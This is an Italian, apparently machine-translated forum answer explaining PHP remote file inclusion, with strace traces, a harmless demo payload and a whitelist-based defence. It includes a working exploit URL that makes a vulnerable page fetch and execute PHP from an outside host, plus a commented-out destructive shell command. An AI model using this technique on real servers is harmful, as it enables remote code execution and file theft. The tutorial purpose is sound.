Penso che non funzioni perché stai facendo un controllo di sicurezza.
Ho eseguito strace
per vedere cosa stava facendo PHP quando includevo un file con un nome legale, anche se inesistente, e un file con un nome non valido. Si comporta in modo diverso :
lstat("/home/lserni/./legal.inc.php"...) = -1 ENOENT (No such file or directory)
lstat("/home/lserni/legal.inc.php"...) = -1 ENOENT (No such file or directory)
lstat("/home/lserni/legal.inc.php"...) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/home/lserni/legal.inc.php", O_RDONLY) = -1 ENOENT ...
write(2, "PHP Warning: include(): Failed "..., 154
PHP Warning: include(): Failed opening 'legal.inc.php' for inclusion...
write(2, "PHP Warning: include(): Failed "..., 148
PHP Warning: include(): Failed opening 'illegal' for inclusion...
Quindi da sopra puoi vedere che il file legale viene controllato sul file system - due volte - e viene eseguito un tentativo di apertura anche se PHP vede che il file non esiste (questo nominale 0,2 kWTF) e genera un errore.
Il nome file illegale genera lo stesso errore, ma senza nemmeno provare per verificare se il file potrebbe essere lì.
Sono abbastanza sicuro che se eseguo il check-in dei sorgenti PHP troverò un test che falsifica un errore "questo file non è qui", quando in realtà PHP ha deciso di non aprire il file, non importa se esso era lì o no .
Inclusione file remoto
La vulnerabilità di "file inclusion" significa che puoi inviare al server qualcosa che lo farà a include()
(ed eseguirà) un file di la tua scelta. Il file può essere locale (Local File Inclusion o LFI) o remoto (RFI).
Per sfruttare una RFI è necessario un file remoto su un dominio diverso; non quello che stai testando, ma un altro.
Questo file remoto, non quelli locali, deve essere sotto il tuo controllo.
Il contenuto del file remoto deve essere tale che il server vulnerabile lo includa; cioè, deve essere PHP valido.
Il file remoto, una volta incluso, verrà eseguito all'interno del server vulnerabile e quindi avrà accesso ai suoi file locali (ma non più a quelli remoti).
Quindi se il file remoto visualizza le istruzioni " include('index.php');
" o die(file_get_contents('index.php'));
, non leggerà index.php del server remoto, ma quello del server vulnerabile (che è cosa vogliamo fare).
Allo stesso tempo, il file remoto verrà eseguito sul server remoto, quindi vogliamo che esegua un codice PHP che visualizzerà un altro codice PHP .
Ad esempio questo è il contenuto di http://www.serni.org/i.inc.php
:
<?php
// The outer code is just a print.
print <<<INNER_CODE
<?php
// This is a sample remote file inclusion vulnerability.
// It will simply count how many files there are in the
// vulnerable script's directory.
\$files = count(glob('*.*'));
print "This folder contains {\$files} files.";
// Just sayin'.
// shell_exec("FORMAT A: /Y /AUTOTEST");
INNER_CODE;
Se utilizzi http://www.serni.org/i.inc.php
come risorsa e la RFI funziona, la pagina vulnerabile restituirà il conteggio dei file in quella directory.
G1mm3 th3 cod3z (TL; DR; DT)
http://example.com/challenge/mypage.php?page=http%3A%2F%2Fwww.serni.org%2Fi
Come difendere
Ovviamente, disinfetti i tuoi input. O meglio, inseriscili nella whitelist e consenti solo combinazioni molto semplici. E a meno che non sia necessario includere risorse remote (cosa che accade), imposta allow_url_fopen
su falso .
$allowed_resources = '#^[A-Za-z_0-9-]+$#';
$ok = false;
if (preg_match($allowed_resources, $resource)) {
$actual_file = realpath("external_resources/{$resource}.php");
// We could verify that actual_file matches _SERVER_ROOT/external...
if (file_exists($actual_file)) {
include $actual_file;
$ok = true;
}
}
if (!$ok) {
// We don't want to send back to clients whatever they sent us; that way lie XS vulnerabilities.
$resource = basename(strip_tags($resource));
// Mess a little with people's heads.
die("Warning: include() [function.include]: Failed opening 'C:\Inetpub\Resources\{$resource}.aspx' for inclusion (include_path='C:\;C:\WINDOWS;C:\Program Files\Nginx;C:\Python\Tornado5\modules')");
}